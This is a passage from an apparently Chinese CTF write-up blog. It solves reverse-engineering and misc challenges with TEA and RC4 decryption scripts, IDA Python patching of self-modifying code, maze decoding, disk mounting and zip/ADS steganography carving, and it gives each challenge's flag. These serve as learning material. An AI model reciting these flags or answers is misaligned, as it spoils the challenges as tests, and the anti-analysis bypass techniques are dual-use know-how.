\u0026#39;update\u0026#39;, \u0026#39;select\u0026#39;] 52 pattern = r\u0026#34;(from|update|insert into)\\s+(\\w+)\\s\u0026#34; 53 matches = re.findall(pattern, table_action) 54 table = matches[0][1] # 查找表名 55 56 for op in op_lst: 57 if op in table_action: 58 operation = op # 查找操作 59 break 60 61 for index_users, row_users in users.iterrows(): 62 if row_users[\u0026#39;账号\u0026#39;] == user_id: 63 group_id = row_users[\u0026#39;所属权限组编号\u0026#39;] # 查找组编号 64 uid = row_users[\u0026#39;编号\u0026#39;] # 查找用户编号 65 66 for index_permissions, row_permissions in permissions.iterrows(): 67 if row_permissions[\u0026#39;编号\u0026#39;] == group_id: 68 operable_permissions = row_permissions[\u0026#39;可操作权限\u0026#39;].split(\u0026#39;,\u0026#39;) # 查找可操作权限 69 70 for index_tables, row_tables in tables.iterrows(): 71 if row_tables[\u0026#39;表名\u0026#39;] == table: 72 table_id = row_tables[\u0026#39;编号\u0026#39;] # 查找表编号 73 74 if operation not in operable_permissions: 75 return [1, uid, group_id, table_id] 76 else: 77 return [0] 78 79 80def wrong_time(action_time, user_id): 81 time_point = action_time.split(\u0026#39; \u0026#39;)[1] 82 pattern = r\u0026#34;(from|update|insert into)\\s+(\\w+)\\s\u0026#34; 83 matches = re.findall(pattern, table_action) 84 table = matches[0][1] # 查找表名 85 filt = [] 86 87 for index_tables, row_tables in tables.iterrows(): 88 if row_tables[\u0026#39;表名\u0026#39;] == table: 89 time_lst = row_tables[\u0026#39;可操作时间段(时:分:秒)\u0026#39;].split(\u0026#39;,\u0026#39;) 90 91 for index_users, row_users in users.iterrows(): 92 if row_users[\u0026#39;账号\u0026#39;] == user_id: 93 group_id = row_users[\u0026#39;所属权限组编号\u0026#39;] # 查找组编号 94 uid = row_users[\u0026#39;编号\u0026#39;] # 查找用户编号 95 96 for index_tables, row_tables in tables.iterrows(): 97 if row_tables[\u0026#39;表名\u0026#39;] == table: 98 table_id = row_tables[\u0026#39;编号\u0026#39;] # 查找表编号 99 100 for time_range in time_lst: 101 filt.append(check_time(time_range, time_point)) 102 103 if 1 not in filt: 104 return [1, uid, group_id, table_id] 105 else: 106 return [0] 107 108 109actionlog = pd.read_csv(\u0026#34;actionlog.csv\u0026#34;) 110permissions = pd.read_csv(\u0026#34;permissions.csv\u0026#34;) 111tables = pd.read_csv(\u0026#34;tables.csv\u0026#34;) 112users = pd.read_csv(\u0026#34;users.csv\u0026#34;) 113 114raw_result = [] 115 116for index_actionlog, row_actionlog in actionlog.iterrows(): 117 118 user_id = row_actionlog[\u0026#39;账号\u0026#39;] 119 une = user_not_exist(user_id) # 判断账号是否存在 120 if une: 121 raw_result.append([0, 0, 0, row_actionlog[\u0026#39;编号\u0026#39;]]) 122 continue 123 124 table_action = row_actionlog[\u0026#39;执行操作\u0026#39;] 125 wt = wrong_table(table_action, user_id) # 判断表是否可操作 126 if wt[0]: 127 wt.remove(wt[0]) 128 wt.append(row_actionlog[\u0026#39;编号\u0026#39;]) 129 raw_result.append(wt) 130 131 wo = wrong_operation(table_action, user_id) 132 if wo[0]: 133 wo.remove(wo[0]) 134 wo.append(row_actionlog[\u0026#39;编号\u0026#39;]) 135 raw_result.append(wo) 136 137 action_time = row_actionlog[\u0026#39;操作时间\u0026#39;] 138 wtime = wrong_time(action_time, user_id) 139 if wtime[0]: 140 wtime.remove(wtime[0]) 141 wtime.append(row_actionlog[\u0026#39;编号\u0026#39;]) 142 raw_result.append(wtime) 143 144 percent = row_actionlog[\u0026#39;编号\u0026#39;] / 100 145 print(\u0026#39;\\r\u0026#39;, end=\u0026#39;\u0026#39;) 146 print(f\u0026#39;进度:{percent}%\u0026#39;, end=\u0026#39;\u0026#39;) 147 148final_str = \u0026#39;\u0026#39; 149final_result = sorted(raw_result, key=lambda lst: (lst[0], lst[1], lst[2], lst[3])) 150for res in final_result: 151 final_str = final_str + \u0026#39;_\u0026#39;.join(list(map(str, res))) + \u0026#39;,\u0026#39; 152final_str = final_str[:-1] 153print(\u0026#39;\\n\u0026#39; + final_str) 154print(hash_calc(final_str)) DASCTF{271b1ffebf7a76080c7a6e134ae4c929}\n出了 WP,确实是对了。哈哈\n","link":"https://jackgdn.github.io/post/%E8%BF%91%E6%9C%9F%E8%A7%A3%E9%A2%98_20240126/","section":"post","tags":["Reverse","WP"],"title":"近期解题 2024.2.16"},{"body":"2024.1.4-2024.1.13\nNEFU::CTF 反静态分析-1 反编译出 main() 函数如下:\n敏锐察觉到 v9 数组的四个元素,疑似为 TEA 加密算法的 key。进入 sub_411523() -\u0026gt; sub_415100(),果然是一个 TEA 加密。\n在 main() 函数中调用的 sub_411523() 有两个参数,第二个参数 v9 是 key,第一个参数 \u0026amp;v7 为 v7 数组。在变量声明的部分 int v7; // [esp+1D8h] [ebp-40h] BYREF 和 int v8; // [esp+1DCh] [ebp-3Ch] 可以看出 v7 与 v8 的地址相邻,实际上可以看作是一个数组。\n写一个 TEA 解密的脚本,需要知道 v4(即 sum)的值是多少。通过打断点动态调试找到 v4 的值 0xC6EF3720。\n上脚本\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;cstdio\u0026gt; 3 4using namespace std; 5 6int key[4] = { 18,52,86,120 }; 7unsigned int num1 = 0x60FCDEF7; 8unsigned int num2 = 0x236DBEC; 9int sum = 0xC6EF3720; 10 11void tea() 12{ 13\tfor (int i = 0; i \u0026lt; 32; i++) 14\t{ 15\tnum2 -= (key[3] + (num1 \u0026gt;\u0026gt; 5)) ^ (sum + num1) ^ (key[2] + 16 * num1); 16\tnum1 -= (key[1] + (num2 \u0026gt;\u0026gt; 5)) ^ (sum + num2) ^ (*key + 16 * num2); 17\tsum += 0x61C88647; 18\t} 19\tcout \u0026lt;\u0026lt; num1 \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; num2; 20} 21 22int main() 23{ 24\ttea(); 25} 得到结果为 3 和 4,这与伪代码 main() 函数中 v8 = 4; 一致。运行程序,输入 3,确实进入了下一步骤。\n下一个关键函数是 sub_411302(),不过这里面出现了一些问题\nTAB 过去,发现是花指令……吗?\n经过一些调试,我发现这里其实是一段自修改代码(SMC, Self Modifying Code),尽管现在看起来是一坨,但是运行起来后就不是这样了。打断点、调试、重新分析、中止调试。这样,我们就得到了正确的代码片段。\n不戳不戳\n这个函数看上去像是一个 RC4 加密,密码为 \u0026quot;you_are_master\u0026quot;,待解密的数据为 v17。\n上脚本\n1#include \u0026lt;cstdio\u0026gt; 2#include \u0026lt;iostream\u0026gt; 3#include \u0026lt;cstring\u0026gt; 4 5using namespace std; 6 7int S[256], T[256]; 8string K = \u0026#34;you_are_master\u0026#34;; 9char D[256]; 10 11void init(int klen) 12{ 13\tfor (int i = 0; i \u0026lt; 256; i++) 14\t{ 15\tS[i] = i; 16\tT[i] = K[i % klen]; 17\t} 18} 19 20void exc() 21{ 22\tint j = 0; 23\tint temp; 24\tfor (int i = 0; i \u0026lt; 256; i++) 25\t{ 26\tj = (j + S[i] + T[i]) % 256; 27\ttemp = S[i]; 28\tS[i] = S[j]; 29\tS[j] = temp; 30\t} 31} 32 33void encrypt(int dlen) 34{ 35\tint i = 0, j = 0, t; 36\tint temp; 37\tfor (int h = 0; h \u0026lt; dlen; h++) 38\t{ 39\ti = (i + 1) % 256; 40\tj = (j + S[i]) % 256; 41\ttemp = S[i]; 42\tS[i] = S[j]; 43\tS[j] = temp; 44\tt = (S[i] + S[j]) % 256; 45\tD[h] ^= S[t]; 46\t} 47} 48 49int main() 50{ 51\tint klen = 14, dlen = 35, i = 0; 52\tD[0] = 0xF; 53\tD[1] = 0x94; 54\tD[2] = 0xAE; 55\tD[3] = 0xF2; 56\tD[4] = 0xC0; 57\tD[5] = 0x57; 58\tD[6] = 0xC2; 59\tD[7] = 0xE0; 60\tD[8] = 0x9A; 61\tD[9] = 0x45; 62\tD[10] = 0x37; 63\tD[11] = 0x50; 64\tD[12] = 0xF5; 65\tD[13] = 0xA0; 66\tD[14] = 0x5E; 67\tD[15] = 0xCB; 68\tD[16] = 0x2C; 69\tD[17] = 0x16; 70\tD[18] = 0x28; 71\tD[19] = 0x29; 72\tD[20] = 0xFE; 73\tD[21] = 0xFF; 74\tD[22] = 0x33; 75\tD[23] = 0x46; 76\tD[24] = 0xE; 77\tD[25] = 0x57; 78\tD[26] = 0x82; 79\tD[27] = 0x22; 80\tD[28] = 0x52; 81\tD[29] = 0x26; 82\tD[30] = 0x2B; 83\tD[31] = 0x6E; 84\tD[32] = 0xE4; 85\tD[33] = 0x82; 86\tD[34] = 0x24; 87\tinit(klen); 88\texc(); 89\tencrypt(dlen); 90\tfor (int i = 0; i \u0026lt; dlen; i++) 91\t{ 92\tcout \u0026lt;\u0026lt; char(D[i]); 93\t} 94} HDCTF{y0u_ar3_rc4_t3a_smc_m4ster!!}\n通过这道题,还有以下几点需要记录:\nFindCrypt 插件在它该识别出 RC4 算法时没有将其识别出来。因此熟练运用瞪眼法的能力还挺必要的。 就我检索到的资料来说,SMC 出现时应该有一些特征,例如使用 VirtualProtect() 函数(Windows 系统)以及 mprotect() 函数(Linux 系统)来获取修改内存的权限。然而在这一道题里并没有出现这样的特征。 花指令 题目附件叫做虽然他送了我玫瑰花!.exe。虽然题目名称叫做“花指令”,但是似乎并没有什么花指令出现。\n一打开反汇编界面,main() 函数这里竟然是红的,框出来创建函数。\n代码非常易于理解。输入内容的长度为 29,在 funcs_40117E 的函数列表循环操作输入的字符,最后与 v9 中的数据相同。然而 v9 只有 16 个字节,而需要判断的有 29 个字符。不出意外,v9、v10、v11、v12 和 v13 的地址连续,都看作是 v9 数组。\n函数列表里的五个函数也很简单:\n1int __cdecl sub_401080(int a1) 2{ 3 return a1 ^ 0x19; 4} 5 6int __cdecl sub_401090(int a1) 7{ 8 return a1 + 18; 9} 10 11int __cdecl sub_4010A0(int a1) 12{ 13 return a1 - 16; 14} 15 16int __cdecl sub_4010B0(char a1) 17{ 18 return 2 * (a1 \u0026amp; 0x7F); 19} 20 21int __cdecl sub_4010C0(int a1) 22{ 23 return a1 ^ (a1 ^ ~a1) \u0026amp; 0x80; 24} 脚本如下:\n1#include \u0026lt;stdio.h\u0026gt; 2 3unsigned char data[29] = 4 { 5 0x7F, 0x7E, 0x51, 0xCE, 0xFB, 0x4E, 0x7A, 0x24, 0xE8, 0xDF, 6 0x59, 0x71, 0x26, 0xCA, 0xE1, 0x6C, 0x86, 0x21, 0xCC, 0xF5, 7 0x28, 0x71, 0x14, 0xD8, 0xEF, 0x6E, 0x77, 0x62, 0xFA 8\t}; 9unsigned char data0[29] = {0}; 10 11unsigned char func0(unsigned char c) 12{ 13 return (c ^ 0x19); 14} 15 16unsigned char func1(unsigned char c) 17{ 18 return (c - 18); 19} 20 21unsigned char func2(unsigned char c) 22{ 23 return (c + 16); 24} 25 26unsigned char func3(unsigned char c) 27{ 28 return (c / 2); 29} 30 31unsigned char func4(unsigned char c) 32{ 33 return (c - 0x80); 34} 35 36int main() 37{ 38 for (int i = 0; i \u0026lt; 29; i++) 39 { 40 switch (i % 5) 41 { 42 case 0: 43 data0[i] = func0(data[i]); 44 break; 45 case 1: 46 data0[i] = func1(data[i]); 47 break; 48 case 2: 49 data0[i] = func2(data[i]); 50 break; 51 case 3: 52 data0[i] = func3(data[i]); 53 break; 54 case 4: 55 data0[i] = func4(data[i]); 56 break; 57 default: 58 break; 59 } 60 printf(\u0026#34;%c\u0026#34;, data0[i]); 61 } 62} flag{Wh4t@6eaut1fu1$lower}_\n做题的时候出了一些问题。我最开始在脚本中写入密文时,顺序是 6C E1 ... EF FA,这样符合反编译的代码,但是运行脚本后会输出乱码。因此需要通过动态调试,我才能在内存中找到正确的顺序,即 7F 7E ... 62 FA。\n攻防世界 riskv-and-reward 题目附件拖到 DIE 里,程序使用了 RISC-V 架构\n因此拖进 IDA 里的时候,应该手动选一个 RISC 架构\n汇编指令看不了一点,F5 也罢工了,唯一有用的是找到了一个字符串,而且没有显示交叉引用。\n这个字符串里有上下花括号,应该是一个乱序的 flag,怀疑是栅栏密码。不过栅栏密码遍历解密之后没有找到什么有用的信息,遂放弃,转用 Ghidra 分析。\n在 Ghidra 里找到这一字符串,其中显示了引用它的函数 FUN_0001232c(),并且可以将该函数反编译。伪代码如下:\n1undefined8 FUN_0001232c(void) 2 3{ 4 int aiStack_d8 [32]; 5 undefined auStack_58 [68]; 6 int local_14; 7 8 FUN_00012524(auStack_58,\u0026amp;DAT_00011040,0x40); 9 FUN_00012524(aiStack_d8,\u0026amp;DAT_00011080,0x80); 10 for (local_14 = 0; local_14 \u0026lt; 0x20; local_14 = local_14 + 1) { 11 FUN_00012724(auStack_58[aiStack_d8[local_14]]); 12 } 13 FUN_00012724(10); 14 return 0; 15} 根据以下几点:\n0x40 与 0x80 恰好分别是 DAT_00011040 与 DAT_00011080 的大小 DAT_00011080 中每隔三个 0x00 会出现一个字节的有效数据,而 aiStack_d8 的类型为 int FUN_00012724(auStack_58[aiStack_d8[local_14]]) 中下标嵌套下标,似乎是在查表,那么 DAT_00011040 是乱序的 flag 根据变量名来看 auStack_58 与 aiStack_d8 的距离恰好是 0x80 我们不妨猜测,FUN_00012524() 函数是 memcpy() 函数,FUN_00012724(),DAT_00011040 中存储的是乱序 flag,DAT_00011080 中存储的是 flag 中每个字符的顺序。\n上脚本试试\n1seq = [0x28, 0x21, 0x2F, 0x34, 0x2D, 0x36, 0x06, 0x1F, 0x25, 0x3B, 0x29, 0x03, 0x37, 0x3E, 0x1B, 0x05, 0x22, 0x13, 0x14, 0x3A, 0x31, 0x30, 0x1A, 0x10, 0x08, 0x23, 0x07, 0x24, 0x3C, 0x2C, 0x00, 0x18] 2string = \u0026#34;tjb3csFt0rrutrh_wiv5__fi}k_1ih`{xIcrhsoyBmyw1CyT3rvxStT_jq40_zrq\u0026#34; 3 4for i in seq: 5 print(string[i], end=\u0026#39;\u0026#39;) BITSCTF{s0m3_r1sc5_4r3_w0rth_1t}\n梅津美治郎 一道动调题,题目名字和描述都好怪,而且和题目内容没什么关系。\n先解释几个函数\nGetModuleHandleA() 语法如下:\n1HMODULE GetModuleHandleA( 2 [in, optional] LPCSTR lpModuleName 3); 参数 [in, optional] LPCSTR lpModuleName 是待加载的模块名称,函数返回值是指定模块的句柄。\nGetProcAdress() 语法如下:\n1FARPROC GetProcAddress( 2 [in] HMODULE hModule, 3 [in] LPCSTR lpProcName 4); 参数 [in] hModule 是包含函数或变量的句柄,[in] lpProcName 是函数或变量名,函数返回值为函数或变量的地址。\n看程序\n程序没有加壳,直接进 IDA。程序前面放了一堆数,后面是程序的核心。\nStr2 似乎似乎就是明文,strcmp(Str1, Str2) 里是检测第一次输入的内容,直接输入 \u0026quot;r0b0RUlez!\u0026quot; 就可以过第一层判断。\n第二层判断在函数 sub_40157F() -\u0026gt; sub_401547() 内\n即将第二层密码与 dword_40AD98 里的内容异或 2 作比较。需要打断点动调才能看到 dword_40AD98 里的内容。\n异或之后得到第二段密码,拼起来就是 flag _flag{r0b0RUlez!w3lld0ne}\n这道题的诡异之处在于,程序并没有按照代码里写的顺序执行,而且程序几乎所有在运行期间输出的字符串都是在程序运行的过程中计算生成的,而非一开始就存储在数据里。不知道程序运行到哪里,对于一道需要动态调试的题目来说,确实有一定迷惑性。\nbabyarm TNND!flag 错误,官方 WP 错误!!!\n这道题的程序使用了 ARM 架构汇编,我配置 QEMU 模拟器调试程序未果。故纯静态分析得到 flag。此外,我能找到的 IDA 8.3 都只支持 x64/x86 反编译器。遂使用 IDA 7.7。\n一上来就爆红,先强制分析,手动去花指令。\n下面都是类似的操作,随后重新分析。\n不难看出,左侧出现了 main() 函数。F5 一键反编译后不难看出,输入的 flag 被切成两部分进行判断。\n1// bad sp value at call has been detected, the output may be wrong! 2int __fastcall main(int a1, char **a2, char **a3) 3{ 4 const void *v3; // r2 5 int v4; // r4 6 int v6; // r3 7 _DWORD v8[3]; // [sp+8h] [bp-78h] 8 char v9; // [sp+14h] [bp-6Ch] 9 _DWORD v10[3]; // [sp+18h] [bp-68h] 10 char v11[12]; // [sp+24h] [bp-5Ch] BYREF 11 _DWORD v12[2]; // [sp+30h] [bp-50h] BYREF 12 _DWORD v13[3]; // [sp+38h] [bp-48h] 13 int (__fastcall *v14)(_DWORD, _DWORD); // [sp+44h] [bp-3Ch] 14 int v15; // [sp+48h] [bp-38h] 15 int v16; // [sp+4Ch] [bp-34h] 16 int v17; // [sp+50h] [bp-30h] 17 void *v18; // [sp+54h] [bp-2Ch] 18 void *v19; // [sp+58h] [bp-28h] 19 int fd; // [sp+5Ch] [bp-24h] 20 void *addr; // [sp+60h] [bp-20h] 21 int v22; // [sp+64h] [bp-1Ch] 22 int i; // [sp+68h] [bp-18h] 23 int v24; // [sp+6Ch] [bp-14h] 24 void *dest; // [sp+70h] [bp-10h] 25 char v26[4]; // [sp+74h] [bp-Ch] BYREF 26 27 memset(v11, 0, sizeof(v11)); 28 v12[0] = 0; 29 v12[1] = 0; 30 v13[0] = 0; 31 *(v13 + 3) = 0; 32 fd = open(\u0026#34;/dev/zero\u0026#34;, 0); 33 addr = mmap(0, 0x1000u, 7, 2, fd, 0); 34 v19 = addr; 35 dest = 0; 36 memcpy(0, v3, 0xC0u); 37 sub_10684(addr); 38 v18 = addr; 39 v16 = addr + 64; 40 v17 = addr + 128; 41 v15 = addr + 128; 42 v24 = 0; 43 v10[1] = addr + 64; 44 v10[2] = addr + 128; 45 v8[0] = 0x4FFED263; 46 v8[1] = 0x3F00D9B9; 47 v8[2] = 0x504380A0; 48 v9 = 0x55; 49 for ( i = 0; i \u0026lt;= 12; ++i ) 50 { 51 v14 = v10[i % 3]; 52 v4 = *(v8 + i); 53 if ( v4 != v14(v11[i], byte_2103C[i]) ) 54 { 55 puts(\u0026#34;Operation failed!!!\u0026#34;); 56 return -1; 57 } 58 } 59 puts(\u0026#34;Check next section\u0026#34;); 60 v13[2] = 6; 61 while ( v22 \u0026lt;= 5 ) 62 { 63 v6 = v22 \u0026amp; 1; 64 if ( v22 \u0026lt; 0 ) 65 v6 = -v6; 66 (*\u0026amp;v26[4 * v6 - 116])(\u0026amp;byte_2104C[6 * v22++]); 67 } 68 if ( sub_10770(byte_2104C, v12 + 1) ) 69 puts(\u0026#34;you find the whole flag!\u0026#34;); 70 else 71 puts(\u0026#34;what a pity!\u0026#34;); 72 munmap(addr, 0x1000u); 73 return 0; 74} 第一部分的 v14 是一个函数指针,由三个函数循环对我们输入内容的前 13 位及已知的 byte_2103C 中的数据进行操作,并与 已知的 v4 进行比对。IDA 在分析这段代码时的表现很差。有函数 *sub_105D4() 包含在 init_array 中(在 IDA View-A 中可见),先于 main() 函数执行。该函数对 byte_21088 进行操作,byte_21088 大小为 0xBF。\n1void *sub_105D4() 2{ 3 void *result; // r0 4 char dest[192]; // [sp+4h] [bp-C8h] BYREF 5 unsigned int i; // [sp+C4h] [bp-8h] 6 7 result = memcpy(dest, \u0026amp;unk_10D28, sizeof(dest)); 8 for ( i = 0; i \u0026lt;= 0xBF; ++i ) 9 byte_21088[i] ^= dest[i]; 10 return result; 11} 有 sub_10684() 对 v1 中的数据进行操作,v1 大小同样是 0xBF,不妨猜测此数据块与函数 *sub_105D4() 中的 byte_21088 是指向的同一段数据。\n1int sub_10684() 2{ 3 int result; // r0 4 int v1; // [sp+4h] [bp-18h] 5 char v2[8]; // [sp+Ch] [bp-10h] BYREF 6 unsigned int i; // [sp+14h] [bp-8h] 7 8 result = *\u0026#34;SECRET\u0026#34;; 9 strcpy(v2, \u0026#34;SECRET\u0026#34;); 10 for ( i = 0; i \u0026lt;= 0xBF; ++i ) 11 { 12 result = *(v1 + i); 13 *(v1 + i) = v2[i % 6] ^ result; 14 } 15 return result; 16} 下面为 byte_21088 中数据,由 main() 函数中 mmap() 函数猜测,这一段为 SMC。这一段数据长度也刚好为 0xBF,因此上述两个函数是 SMC 函数。由于不能动态调式,我们用 IDA Python 脚本修改这段数据,并重新分析。\n1cipher_start = 0x10D28 2opcode_start = 0x21088 3cipher = \u0026#34;SECRET\u0026#34; 4 5for addr in range(0, 0xC0): 6 cip = int(idc.get_wide_byte(cipher_start + addr)) 7 val = int(idc.get_wide_byte(opcode_start + addr)) 8 new_val = cip ^ val ^ ord(cipher[addr % 6]) 9 ida_bytes.patch_byte(opcode_start + addr, new_val) 这样我们就获得了 sub_21088()、sub_120C8、sub_21108() 三个函数,与 main() 函数中 v18 = addr, v16 = addr + 64, v17 = addr + 128; 中的地址偏移量相对应,也正好是 v14 中的三个函数。此时可以解出 flag 前半段。\n1key = [0xFD, 0x9A, 0x9F, 0xE8, 0xC2, 0xAE, 0x9B, 0x2D, 0xC3, 0x11, 0x2A, 0x35, 0xF6] 2cip = [0x63, 0xD2, 0xFE, 0x4F, 0xB9, 0xD9, 0x00, 0x3F, 0xA0, 0x80, 0x43, 0x50, 0x55] 3 4for i in range(0, 13): 5 if i % 3 == 0: 6 print(chr((cip[i] - key[i]) \u0026amp; 0x7F), end=\u0026#34;\u0026#34;) 7 if i % 3 == 1: 8 print(chr((cip[i] + key[i]) \u0026amp; 0x7F), end=\u0026#34;\u0026#34;) 9 if (i % 3) == 2: 10 print(chr((cip[i] ^ key[i]) \u0026amp; 0x7F), end=\u0026#34;\u0026#34;) flag{welcome_\n后半段 flag 的判断是通过 sub_10770() 函数实现的。\n1int __fastcall sub_10770(int a1, int a2) 2{ 3 _DWORD v4[3]; // [sp+Ch] [bp-20h] 4 char v5; // [sp+18h] [bp-14h] 5 int i; // [sp+1Ch] [bp-10h] 6 int v7; // [sp+20h] [bp-Ch] 7 int v8; // [sp+24h] [bp-8h] 8 9 v8 = 4; 10 v4[0] = 0x41203E53; 11 v4[1] = 0xB242C1E; 12 v4[2] = 0x52372836; 13 v5 = 0xE; 14 for ( i = 0; i \u0026lt;= 12; ++i ) 15 { 16 *(a2 + i) ^= *(v4 + i); 17 switch ( *(a2 + i) ) 18 { 19 case \u0026#39;a\u0026#39;: 20 --v8; 21 break; 22 case \u0026#39;d\u0026#39;: 23 ++v8; 24 break; 25 case \u0026#39;s\u0026#39;: 26 ++v7; 27 break; 28 case \u0026#39;w\u0026#39;: 29 --v7; 30 break; 31 default: 32 break; 33 } 34 if ( *(a1 + 6 * v7 + v8) == \u0026#39;*\u0026#39; ) 35 { 36 puts(\u0026#34;Boom!!!\u0026#34;); 37 return 0; 38 } 39 } 40 return 1; 41} 似乎是一个迷宫,通过 WASD 控制位移,但是是异或处理过后成为 WASD。传入这个函数的另一个参数 byte_2104C 似乎真的像一个迷宫。\n不过这个迷宫不大对劲。在 main() 函数里调用 sub_10770() 前先有 (*\u0026amp;v26[4 * v6 - 116])(\u0026amp;byte_2104C[6 * v22++]);。而 (*\u0026amp;v26[4 * v6 - 116]) 指向的函数似乎找不到。不过好在这道题里出现的函数相当少,我们不妨一个一个找找看。最后发现 sub_104FC() 与 sub_10568() 函数中 i \u0026lt;= 5 的循环跳出条件与 main() 中 v22 \u0026lt;= 5 竟然出奇地相似。故猜测这两个函数对迷宫进行初始化。不妨靠这个找出初始化后的迷宫,经过尝试,使用下面的脚本可以大体改成组成迷宫的字符串。\n1start = 0x2104C 2end = 0x21088 3 4for addr in range(start, end): 5 data = int(idc.get_wide_byte(addr)) 6 if chr(data) == \u0026#39;T\u0026#39; or data == 0x88: 7 new_data = data \u0026gt;\u0026gt; 1 8 else: 9 new_data = data ^ 0x10 10 ida_bytes.patch_byte(addr, new_data) 这只是一个猜测,作出这样猜测的依据是 sub_10770() 函数中 *(a1 + 6 * v7 + v8) == '*' 的判断。据此也能判断出这一由 60 个字符绘制出的迷宫一共有 6 列 10 行。通过以下代码打印出可能的迷宫:\n1print(\u0026#39;\\n\u0026#39;) 2maze = \u0026#34;******* E**P***** *****P***** *****P***** *****D*******\u0026#34; 3for i in range(0, 6): 4 print(maze[i * 10: i * 10 + 10]) 5 6\u0026#39;\u0026#39;\u0026#39; 7 output: 8 ****** 9 * E* 10 *P**** 11 * **** 12 *P**** 13 * * 14 ****P* 15 **** * 16 ****D* 17 ****** 18\u0026#39;\u0026#39;\u0026#39; 另外根据 v8 = 4; 可以知道,迷宫的七点在某行第四列。经过尝试,迷宫起点为 E 点,终点为 D 点。经过的路径为 aaassssdddsss,而这是经过异或后的结果。写出脚本解出第二部分 flag。\n1path = \u0026#34;aaassssdddsss\u0026#34; 2crypt = [0x53, 0x3E, 0x20, 0x41, 0x1E, 0x2C, 0x24, 0xB, 0x36, 0x28, 0x37, 0x52, 0xE] 3for i in range(0, 13): 4 print(chr(ord(path[i]) ^ crypt[i]), end=\u0026#39;\u0026#39;) 2_A2m_WoRLD!}\n完整脚本:\n1key = [0xFD, 0x9A, 0x9F, 0xE8, 0xC2, 0xAE, 0x9B, 0x2D, 0xC3, 0x11, 0x2A, 0x35, 0xF6] 2cip = [0x63, 0xD2, 0xFE, 0x4F, 0xB9, 0xD9, 0x00, 0x3F, 0xA0, 0x80, 0x43, 0x50, 0x55] 3 4for i in range(0, 13): 5 if i % 3 == 0: 6 print(chr((cip[i] - key[i]) \u0026amp; 0x7F), end=\u0026#34;\u0026#34;) 7 if i % 3 == 1: 8 print(chr((cip[i] + key[i]) \u0026amp; 0x7F), end=\u0026#34;\u0026#34;) 9 if (i % 3) == 2: 10 print(chr((cip[i] ^ key[i]) \u0026amp; 0x7F), end=\u0026#34;\u0026#34;) 11 12# part 1 13 14path = \u0026#34;aaassssdddsss\u0026#34; 15 16crypt = [0x53, 0x3E, 0x20, 0x41, 0x1E, 0x2C, 0x24, 0xB, 0x36, 0x28, 0x37, 0x52, 0xE] 17for i in range(0, 13): 18 print(chr(ord(path[i]) ^ crypt[i]), end=\u0026#39;\u0026#39;) 19 20# part 2 flag{welcome_2_A2m_WoRLD!}\nMISC - ext3 题目附件是一块磁盘的数据(有好多 00 ),有头绪但不多。我强行在 010 Editor 里找可能的关键字,找到了一个文件 flag.txt 的路径 ~root/Desktop/file/O7avZhikgKgbF/flag.txt,最后通过尝试“Zmxh”关键字得到 Base64 编码后的 flag,ZmxhZ3tzYWpiY2lienNrampjbmJoc2J2Y2pianN6Y3N6Ymt6an0= 。\n解码后得到 flag{sajbcibzskjjcnbhsbvcjbjszcszbkzj}\n然而这道题正确的解法不应该是这样的。如果出题人没有使用 Base64 编码,或者使用了套娃加密的方式,那我就难以用这个方法得到 flag 了。\n这是一个 Linux 下的 ext3 格式磁盘,而且是把整坨数据都存储进去了。我妄图将其后缀改为 .iso,.img,.rar,但是在我打开文件的时候系统又会提醒我文件已经损坏。\n怎么办呢?既然这块磁盘适配 Linux 文件系统,为什么我不将它挂载到 Linux 里呢?这叫做原汤化原食。把磁盘拖进 Kali Linux,使用命令 sudo mount '/home/jackgdn/Desktop/f1fc23f5c743425d9e0073887c846d23' /mnt 可以将磁盘挂载到 /mnt 文件夹下。根据刚才在 010 Editor 里找到的路径,可以轻松得到 Base64 编码后的 flag。\n做完题后卸载磁盘,使用 sudo umount /mnt 命令。\nBUUCTF MISC - 面具下的 flag 题目附件是一张图片。\nmianju.jpg\n这张图片里大概率是藏了什么东西。我们不妨用 binwalk 找找图片里的“好东西”。在 Linux 里使用 binwalk -e '/home/jackgdn/Desktop/temp files/mianju.jpg' 命令,binwalk 就自动分离出了两个文件,74DFE.zip 与 flag.vmdk。其中 74DFE.zip 解压出的文件就是 flag.vmdk。\n这一步也可以用另一种方法来完成。众所周知,.jpg 格式文件的文件尾是 FF D9,在文件尾后的内容都不会被读取为图像的一部分。因此我们不妨使用 010 Editor 里找到这一文件尾,而后面又刚好是 PK 文件头。从这里到最下面 50 4B 05 06 的 .zip 文件尾部分,都是压缩文件部分。\n把前面多余部分删除,剩余部分保存为 mianju.zip\n哦?竟然有加密。大概率是伪加密吧。还是用 010 Editor,将压缩源文件目录区域的 09 00 改为 00 00,密码就会消失。\n拿到了一个虚拟磁盘文件。先试试头铁的办法:直接搜。这次运气不错,找到了一个 Ook!\n但是这个 Ook! 似乎是损坏的。往下搜索,发现还有一坨 Ook!\n不错,但是这里只有个半个 flag:\n_i5_funny!}\n根据刚才搜索到的内容,我们不妨假设前一半 flag 的后缀也是 .txt,因此搜索 \u0026quot;t x t\u0026quot; 即 74 00 78 00 74。\n似乎是 brainfuck:\n但是实际上这一段也是损坏的,正确的 brainfuck 也是在下面的位置。可以借出来第一段 flag。随后就可以拼成一整个 flag。\nflag{N7F5_AD5_i5_funny!}\n这一步还有另一个思路,即像攻防世界里 ext3 这道题一样直接将磁盘挂载到操作系统内。使用 ImDisk 工具挂载虚拟磁盘。\n可惜,即使挂载到操作系统,/key_part_one/NUL 文件依然是不可打开的,/key_part_two/ 下只有一个 where_is_flag_part_two.txt。先在 DiskGenius 里打开虚拟磁盘,可以查看前半段 flag 的内容。\n根据前半段 flag 的提示可以知道,后半段 flag 没有出现是因为 ADS 隐写。使用 lads 找隐写的文件流并打开,就是第二段 flag。此外,alternatestreamview 工具也可以查看 ADS 隐写的文件路径。\n赵师傅也提供了一种方法,将虚拟磁盘文件的后缀改为 .7z,并放到 Linux 系统中解压,同样可以得到完整的文件。\nADS 文件隐写是在微软的 NTFS 格式的文件系统内使用的,而 Linux 使用 ext4 文件系统,因此在 Linux 里 ADS 隐写的文件就直接出现了;9982 师傅推测,NUL 文件之所以不能打开是因为 NTFS 头损坏,并不影响文件在 Linux 系统里被读取。\nNSSCTF test your Debugger 若至签到题。不管你输入什么,程序都会把 flag 算出来,直接打断点看内存就可以。它甚至贴心地告诉你,在这里打断点,生怕我拿不到 flag。\nNSSCTF{44d52a77-92ea-413e-98c4-ff5846fd387d}\npwn - nc_pwnre 我的评价是:挂 pwn 头卖 re 肉。\nnc 连接到环境,出现了一段汇编:\n1pwn? re?no no 